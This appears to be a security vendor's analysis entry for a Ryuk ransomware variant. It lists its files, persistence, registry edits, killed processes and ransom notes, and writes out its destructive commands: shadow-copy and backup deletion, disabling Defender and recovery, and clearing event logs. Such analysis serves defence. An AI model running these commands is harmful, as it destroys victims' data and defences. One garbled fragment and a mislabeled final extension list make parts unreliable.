Ransom.Win64.RYUK.SMB

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It drops files as ransom note. It avoids encrypting files with the following file extensions.

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

• {Encrypted Directory}\hrmlog1
• %All Users Profile%\hrmlog2
• %All Users Profile%\nons
• %All Users Profile%\ryuk.exe
• %All Users Profile%\RYUKID
• {Encrypted Directory}RyukReadMe.html
• {Encrypted Directory}\RyukReadMe.txt
• %programdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). )

It adds the following processes:

• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:ProgramData\ryuk.exe /RU SYSTEM /RL HIGHEST /F
• %System%\cmd.exe /c copy C:\ProgramData\ryuk.exe\"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe
• %System%\cmd.exe /c copy C:\ProgramData\ryuk.exe\"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe
• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /F
• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN ryk /TR {malware filepath} /RU SYSTEM /RL HIGHEST /F
• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RyuK /TR {malware filepath} /F
• %System%\cmd.exe /c attrbi +h +s \"%appdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe\"
• %System%\cmd.exe /c attrbi +h +s ryuk.exe
• %System%\cmd.exe /c attrbi +h +s C:\ProgramData\ryuk.exe
• start cmd.exe /c icacls * grant Everyone: (OI)(CI)F /T /C /Q
• start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM pvx* && taskkill /F /T /IM dbsrv* && exit
• %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c Copy hrmlog1 %ProgramData%\hrmlog1
• %System%\cmd.exe /c Copy hrmlog2 %ProgramData%\hrmlog2
• %System%\cmd.exe /c Copy RYUKID %ProgramData%\RYUKID
• %System%\cmd.exe /c Copy RYUKID %ProgramData%\RyukReadMe.html
• %System%\cmd.exe /c Copy %ProgramData%\hrmlog1 %userprofile%\Desktop\hrmlog1
• %System%\cmd.exe /c Copy %ProgramData%\RyukReadMe.txt %userprofile%\Desktop\RyukReadMe.txt
• %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
• %System%\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
• start cmd.exe /c \"C:\ProgramData\RyukReadMe.txt \" && exit
• start cmd.exe /c vssadmin Delete Shadows /All /Quiet
• start cmd.exe /c wmic shadowcopy delete
• start cmd.exe /c bcdedit /set {default} boostatuspolicy ignoreallfailures
• start cmd.exe /c bcdedit /set {default} recoveryenabled no
• start cmd.exe /c wbadmin delete catalog -quiet/
• %System%\cmd.exe /c net stop avpsus /y
• %System%\cmd.exe /c net stop McAfeeDLPAgentService /y
• %System%\cmd.exe /c net stop mfewc /y
• %System%\cmd.exe /c net stop BMR Boot Service /y
• %System%\cmd.exe /c net stop NetBackup BMR MTFTP Service /y
• %System%\cmd.exe /c sc config SQLTELEMETRY$ECWDB2 start= disabled
• %System%\cmd.exe /c sc config SQLWriter start= disabled
• %System%\cmd.exe /c sc config SstpSvc start= disabled
• %System%\cmd.exe /c taskkill /IM mspub.exe /F
• %System%\cmd.exe /c taskkill /IM mydesktopqos.exe /F
• %System%\cmd.exe /c taskkill /IM mydesktopservice.exe /F
• %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
• %System%\cmd.exe /c del /s /f /q c:*.bac c:*.bak c:*.wbcat c:*.bkf c:Backup*.* c:\backup*.* c:*.set c:*.win
• %System%\cmd.exe /c del /s /f /q d:*.bac d:*.bak d:*.wbcat d:*.bkf d:Backup*.* d:\backup*.* d:*.set d:*.win
• %System%\cmd.exe /c del /s /f /q e:*.bac e:*.bak e:*.wbcat e:*.bkf e:Backup*.* e:\backup*.* e:*.set e:*.win
• %System%\cmd.exe /c del /s /f /q f:*.bac f:*.bak f:*.wbcat f:*.bkf f:Backup*.* f:\backup*.* f:*.set f:*.win
• %System%\cmd.exe /c del /s /f /q g:*.bac g:*.bak g:*.wbcat g:*.bkf g:Backup*.* g:\backup*.* g:*.set g:*.win
• %System%\cmd.exe /c del /s /f /q h:*.bac h:*.bak h:*.wbcat h:*.bkf h:Backup*.* h:\backup*.* h:*.set h:*.win
• %System%\cmd.exe /c del %0
• %System%\cmd.exe /c attrib +h +s hrmlog2
• %System%\cmd.exe /c attrib +h +s C:\ProgramData\hrmlog2
• %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchFilesInStartMenu /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchProgramsInStartMenu /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMConfigurePrograms /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetworkConnections /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer /v TaskbarNoPinnedList /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCANetwork /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\AppV\Client\Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add \"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\" /v DisableConfig /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add \"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\" /v DisableSR /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "for /F \"tokens=*\" %s in ('wevtutil.exe el') DO wevtutil.exe cl \"%s\""
• %System%\cmd.exe /c "schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f"

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

• rykmutex
• rykmutex2

Autostart Technique

This Ransomware drops the following file(s) in the Windows Startup folder to enable its automatic execution at every system startup:

• %programdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender
DisableAntiSpyware = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSearchFilesInStartMenu = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSearchProgramsInStartMenu = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoStartMenuMorePrograms = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSMConfigurePrograms = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoNetworkConnections = 1

HKEY_CURRENT_USER\Software\Policies\
Microsoft\Windows\Explorer
TaskbarNoPinnedList = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoStartMenuPinnedList = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
HideSCANetwork = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
HideSCAHealth = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableChangePassword = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableLockWorkstation = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoLogoff = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoDispCPL = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
NonEnum
{645FF040-5081-101B-9F08-00AA002F954E} = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\AppV\Client\
Virtualization
EnableDynamicVirtualization = 0

osoft\AppV\Client\
Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f" %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\
Policies\Microsoft\Windows\
WinRE
DisableSetup = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows NT\SystemRestore
DisableConfig = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows NT\SystemRestore
DisableSR = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToDisk = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToNetwork = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToOptical = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupLauncher = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableRestoreUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableSystemBackupUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
OnlySystemBackup = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToDisk = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToNetwork = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToOptical = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoRunNowBackup = 1

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\WMI\Autologger\
EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de}
Enable = 0

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 0

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 0

Process Termination

This Ransomware terminates the following processes if found running in the affected system's memory:

• mms.exe
• schedul2.exe
• schedhelp.exe
• tib_mounter_monitor.exe
• SQLIOSIM.EXE
• Sqlagent.exe
• sqlmaint.exe
• sqlstubss.exe
• csrss.exe
• sqlceip.exe
• mstsc.exe
• taskmgr.exe
• sqlservr.exe
• QBIDPService.exe
• sqlserver.exe
• msftesql.exe
• sqlagent.exe
• sqlbrowser.exe
• sqlwriter.exe
• oracle.exe
• ocssd.exe
• dbsnmp.exe
• synctime.exe
• mydesktopqos.exe
• agntsvc.exe
• isqlpplussvc.exe
• isqlpussvc.exe
• xfssvccon.exe
• mydesktopservice.exe
• ocautoupds.exe
• encsvc.exe
• firefoxconfig.exe
• tbirdconfig.exe
• ocomm.exe
• mysqld.exe
• mysqld-nt.exe
• mysqld-opt.exe
• dbeng50.exe
• sqbcoreservice.exe
• excel.exe
• infopath.exe
• msaccess.exe
• mspub.exe
• onenote.exe
• outlook.exe
• powerpnt.exe
• stream.exe
• thebat.exe
• thebat64.exe
• Thunderbird.exe
• visio.exe
• winword.exe
• wordpad.exe
• notepad.exe
• paint.exe
• notepad++.exe
• endnote.exe
• vmwareuser.exe
• vmwareservice.exe
• vboxservice.exe
• vboxtray.exe
• Sandboxiedcomlaunch.exe
• procmon.exe
• regmon.exe
• filemon.exe
• wireshark.exe
• netmon.exe
• vmtoolsd.exe
• ntoskrnl.exe
• sqlwriter.exe
• sqlservr.exe
• Ssms.exe
• cbService.exe
• httpd.exe
• jusched.exe
• jucheck.exe
• javaw.exe
• java.exe
• iptray.exe
• Iperius.exe
• FileZilla.exe
• DataCollectorSvc.exe
• EdgeTransport.exe
• store.exe
• acrotray.exe
• agent.exe
• SageCSClient.exe
• wsusservice.exe
• slack.exe
• node.exe
• w3wp.exe
• mysqld.exe
• mysql.exe
• msmdsrv.exe
• MsDtsSrvr.exe
• fdlauncher.exe
• fdhost.exe
• Ssms.exe
• ReportingServicesService.exe
• dataCollect.EXE
• WINWORD.EXE
• OUTLOOK.EXE
• EXCEL.EXE
• Sage.NA.AT_AU.Service.exe
• Sage.NA.AT_AU.SysTray.exe

Other Details

This Ransomware does the following:

• Empty RecycleBin
• Accepts the following parameters:
  • norunanayway → it wont proceed with its encryption routine
  • nostartup → it wont create its start up
  • openconsole → Show a Windows console
  • enabletask → Enable task scheduler

Ransomware Routine

This Ransomware avoids encrypting files with the following strings in their file name:

• .exe
• .dll
• RYK
• Chrome
• Mozilla
• AhnLab
• RYKCRYPT
• hrmlog1
• hrmlog2
• RYUKconfig.txt
• RYKDECRYPT.exe
• nons
• clast
• nocdrive
• RyukReadMe.html
• RyukReadMe.txt
• RYKID
• boot
• Boot
• Boot
• pagefile.sys
• $MFt
• NTUSER.DAT
• win.ini
• UsrClass.dat
• .zip

It avoids encrypting files found in the following folders:

• C:\Users\Default
• C:\Users\All Users
• C:\ProgramData\Dropbox
• C:\Program Files (x86)\Dropbox
• \AppData\Local\Dropbox
• C:Users\Public
• \Microsoft\Windows\
• C\Program Files\WindowsApps
• C:\windows
• C:\Windows
• C:\WINDOWS
• C:\ProgramData

It appends the following extension to the file name of the encrypted files:

• .[reopen@firemail.de].RYK

It drops the following file(s) as ransom note:

• {Encrypted Directory}\RyukReadMe.txt
  
• {Encrypted Directory}\RyukReadMe.html
  

It avoids encrypting files with the following file extensions:

• .MDF
• .SQL
• .edb
• .TXT
• .VHD
• .VBK
• .VIB
• .VBM
• .VLB
• .VSM
• .VOM
• .BAK
• .BACK
• .ORG
• .NBF
• .NBA
• .SET
• .MBK
• .NCO
• .GHO
• .DAT_OLD
• .ADI
• .TRN
• .bkp
• .Pbd
• .xml
• .vhdx
• .vdx
• .Backup
• .bms
• .hm4
• .dbk
• .bac
• .Fdb
• .Accdb
• .Accdc
• .Adb
• Accde
• .Adf
• .Db-journal
• .Db-shm
• .Db-wal
• .Db1
• .Db2
• .Db3
• .Dbc
• .Ldf
• .4dd
• .Adt
• .Db
• .Dbf
• .Dta
• .Gdb
• .Gtable
• .Myd
• .Sdf
• .Sqlite
• .Wdb
• .Wmdb
• .Myob
• .Tax
• .Ynab
• .Myo
• .Qbw
• .Qbb
• .Qbm
• .Qbo
• .001
• .002
• .003